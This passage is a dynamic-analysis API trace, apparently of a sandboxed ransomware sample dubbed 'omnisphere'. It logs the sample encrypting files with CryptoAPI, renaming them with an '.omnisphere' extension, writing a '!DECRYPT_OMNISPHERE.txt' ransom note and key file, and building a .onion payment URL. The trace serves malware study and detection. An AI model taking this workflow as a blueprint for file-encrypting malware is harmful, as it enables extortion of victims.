pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.415] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.422] CryptDestroyKey (hKey=0x1639b28) returned 1 [0090.422] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0090.422] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e966, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0090.422] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0090.422] GetProcessHeap () returned 0x1600000 [0090.422] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x16377a8 [0090.422] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl.omnisphere")) returned 1 [0090.423] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.omnisphere.id" [0090.423] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0090.424] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0090.425] CloseHandle (hObject=0x3c0) returned 1 [0090.426] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0090.428] CloseHandle (hObject=0x288) returned 1 [0090.428] SetEndOfFile (hFile=0x28c) returned 1 [0090.428] FlushFileBuffers (hFile=0x28c) returned 1 [0090.569] CloseHandle (hObject=0x28c) returned 1 [0090.576] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0090.576] GetProcessHeap () returned 0x1600000 [0090.576] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1637a68 [0090.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0090.576] GetProcessHeap () returned 0x1600000 [0090.576] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f238 [0090.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f238, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0090.576] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0090.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0090.576] GetProcessHeap () returned 0x1600000 [0090.576] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f4d0 [0090.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f4d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0090.576] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0090.576] GetProcessHeap () returned 0x1600000 [0090.576] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166ac38 [0090.576] PathCombineW (in: pszDest=0x166ac38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0090.576] GetProcessHeap () returned 0x1600000 [0090.576] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1680d68 [0090.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0090.577] WriteFile (in: hFile=0x28c, lpBuffer=0x1680d68*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1680d68*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0090.577] CloseHandle (hObject=0x28c) returned 1 [0090.577] GetProcessHeap () returned 0x1600000 [0090.577] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1637a68 | out: hHeap=0x1600000) returned 1 [0090.577] GetProcessHeap () returned 0x1600000 [0090.577] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1630de8 [0090.577] PathCombineW (in: pszDest=0x1630de8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0090.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0090.577] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0090.577] CloseHandle (hObject=0x28c) returned 1 [0090.578] GetProcessHeap () returned 0x1600000 [0090.578] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630de8 | out: hHeap=0x1600000) returned 1 [0090.578] GetProcessHeap () returned 0x1600000 [0090.578] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162da78 | out: hHeap=0x1600000) returned 1 [0090.578] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3d639, dwReserved0=0x0, dwReserved1=0xce, cFileName="GostTitle.XSL", cAlternateFileName="GOSTTI~1.XSL")) returned 1 [0090.578] GetProcessHeap () returned 0x1600000 [0090.578] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162ccb8 [0090.578] PathCombineW (in: pszDest=0x162ccb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="GostTitle.XSL" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" [0090.578] StrStrW (lpFirst=".omnisphere", lpSrch=".XSL") returned 0x0 [0090.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0090.578] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=251449) returned 1 [0090.578] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3d115, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0090.578] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.656] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d0e [0090.657] GetTickCount () returned 0x1156d1e [0090.657] GetTickCount () returned 0x1156d1e [0090.657] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0090.658] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16397a8) returned 1 [0090.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0090.658] CryptDestroyKey (hKey=0x16397a8) returned 1 [0090.658] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0090.658] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d639, lpName=0x0) returned 0x288 [0090.658] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d639) returned 0x3c00000 [0090.805] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0090.806] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0090.806] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.806] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 